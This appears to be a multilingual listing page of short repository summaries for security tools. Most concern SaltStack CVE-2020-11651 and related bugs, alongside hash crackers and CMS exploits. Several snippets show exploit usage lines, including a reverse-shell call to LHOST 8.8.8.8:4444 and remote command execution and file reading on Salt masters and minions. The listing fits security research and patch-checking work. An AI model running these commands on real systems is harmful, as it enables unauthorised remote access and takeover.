mose

MOSE Master Of SErvers...

DEScrypt-CPU-Collision-Cracker

DEScrypt-CPU-Collision-Cracker What is DEScrypt-CPU-Collision-Cracker? A linux based high performance DEScrypt CPU cracker written in c++, it deduces the salt and uses a password list to crack hashes. Why not use a rainbow table? DEScrypt uses by default a two byte saltcomprised of characters...

salt

Welcome to salt , a tool to reverse and learn kernel heap memory management. It can be useful to develop an exploit, to debug your own kernel code, and, more importantly, to play with the kernel heap allocations and learn its inner workings. This tool helps tracing allocations and the current sta...

salt-vulnerabilities

Salt Stack 프로필 이 프로필은 Salt 설치가 CVE-2020-11651 및 CVE-2020-11652로부터 보호하는 수준으로 패치되었는지 확인합니다. 이를 위해 salt-api, salt-cloud, salt-master, salt-minion, salt-ssh, salt-syndic, salt 패키지가 버전 3000.2 이상이거나 2019.2.4 이상이거나 존재하지 않는지 확인합니다. 또한 명령줄에 "salt" 명령이 있는지 확인하고, 있는 경우 salt가 패키지 관리자 없이 설치된 경우를 대비해 salt...

Dagon

Dagon - Продвинутое манипулирование хешами Названный в честь князя ада, Dagon day-gone — это продвинутая система взлома и манипулирования хешами, способная перебирать множество типов хешей, создавать словари для перебора, автоматически проверять алгоритмы хеширования, генерировать случайные соли ...

Dagon

Dagon - Advanced Hash Manipulation Named after the prince of Hell, Dagon day-gone is an advanced hash cracking and manipulation system, capable of bruteforcing multiple hash types, creating bruteforce dictionaries, automatic hashing algorithm verification, random salt generation from Unicode to...

CVE-2019-9053-python3-remastered

CVE-2019-9053-python3-remastered 该脚本已由 Teymur Novruzov 重新编译，以确保与 Python 3 兼容。此工具仅供教育目的使用。未经许可在任何系统或网络上未经授权使用此工具是非法的。作者不对任何滥用此工具的行为负责。 CMS Made Simple SQL 注入漏洞利用工具（Python 3） 概述 本仓库包含一个 Python 3 脚本，用于利用 CMS Made Simple 中的基于时间的 SQL 注入漏洞。该脚本由 Teymur Novruzov 重新编译，以确保与 Python 3 兼容。 功能...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651에 대한 PoC Python3 필요, 3.8에서 테스트 완료 python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server 대상 서버 IP 또는 호스트 optional...

iOSRestrictionBruteForce

iOS Restriction Passcode Brute Force Overview This version of the application is written in Python, which is used to crack the restriction passcode of an iPhone/iPad takes advantage of a flaw in unencrypted backups allowing the hash and salt to be discovered. DEPENDENCIES This has been tested wit...

WordPress Redux Framework <=4.2.11 - Information Disclosure

WordPress Redux Framework plugin through 4.2.11 is susceptible to information disclosure. The plugin registers several unique AJAX actions available to unauthenticated users in the includes function in redux-core/class-redux-core.php. These are predictable, given that they are based on an md5 has...

CVE-2020-28243

CVE-2020-28243 SaltStack의 Salt에서 발견된 명령 주입 취약점으로, 마스터가 restartcheck를 호출할 때 미니언에서 특수하게 조작된 프로세스 이름을 통해 권한 상승이 가능합니다. 전체 분석 내용은 이 블로그 게시물을 참조하세요. 영향 받는 버전: 2016.3.0rc2 3002.2 사이의 모든 버전 링크: Mitre, NVD 요구 사항 이 익스플로잇이 작동하려면 다음이 필요합니다: 2016.3.0rc2 3002.5 사이의 SaltStack Minion SaltStack이 명시적으로 차단하지 않은...

CVE-2020-11651-poc

PoC-эксплойт для CVE-2020-11651 и CVE-2020-11652 Это proof of concept эксплойт, основанный на изначальном проверочном скрипте. Используйте его для проверки, что вы успешно обновили ваши Salt master серверы до релиза, содержащего необходимые исправления. Спасибо F-Secure Labs за их исследование и...

cve-2020-11651

CVE-2020-11651 Это POC для CVE-2020-11651, который обеспечивает RCE до аутентификации на master salt stack и/или всех связанных minion. Некоторые подробности об уязвимости здесь. POC для 2020-11652 не включен. Это достигает выполнения команд на master путем создания runner salt.cmd с функцией...

salt-scanner

salt-scanner A linux vulnerability scanner based on Vulners Audit API and Salt Open, with Slack notifications and JIRA integration. Features Slack notification and report upload JIRA integration OpsGenie integration Requirements Salt Open 2016.11.x salt-master, salt-minion¹ Python 2.7 salt you ma...

salt-security-backports

Официальные патчи для предыдущих версий можно запросить по адресу: https://www.saltstack.com/lp/request-patch-april-2020/ ⚠ Патчи здесь являются пользовательскими и могут отличаться от официальных ⚠ Обратно портированные патчи безопасности для неподдерживаемых версий Salt Патчи в этом репозитории...

CVE-2020-11651-PoC

CVE-2020-11651-PoC Репозиторий, содержащий эксплойт для CVE-2020-11651, обновлённый для работы с последними версиями Python и обрабатывающий ошибки подключения. КОПИЯ README ИЗ ОРИГИНАЛЬНОГО РЕПОЗИТОРИЯ Оригинальный репозиторий Эксплойт PoC для CVE-2020-11651 и CVE-2020-11652 Это proof-of-concept...

CVE-2020-16846-Saltstack-Salt-API

CVE-2020-16846-Saltstack-Salt-API Уязвимость поясняется: В SaltStack Salt до версии 3002 была обнаружена проблема. Отправка специально созданных веб-запросов к Salt API при включённом SSH-клиенте может привести к внедрению команд в оболочку. Подробности об этой уязвимости можно найти здесь:...

craftcms-vcard-exploit

Craft CMS vCard 플러그인 역직렬화 취약점 Craft CMS에는 .vcf 파일 형식으로 연락처를 다운로드하기 위한 "vCard"라는 플러그인이 있습니다. 이 플러그인은 Craft 저장소와 Github에서 확인할 수 있습니다: Craft Plugin Store Github 설명 이 플러그인은 클라이언트가 보낸 매개변수를 받아 openssldecrypt로 값을 복호화한 다음, 결과 문자열을 PHP의 unserialize 함수에 전달합니다. 암호화에 사용되는 기본 salt가 저장소에 공개되어 있기 때문에, 공격자는 동일한...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651에 대한 PoC Python3 필요, 3.8에서 테스트됨 python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server IP or Host...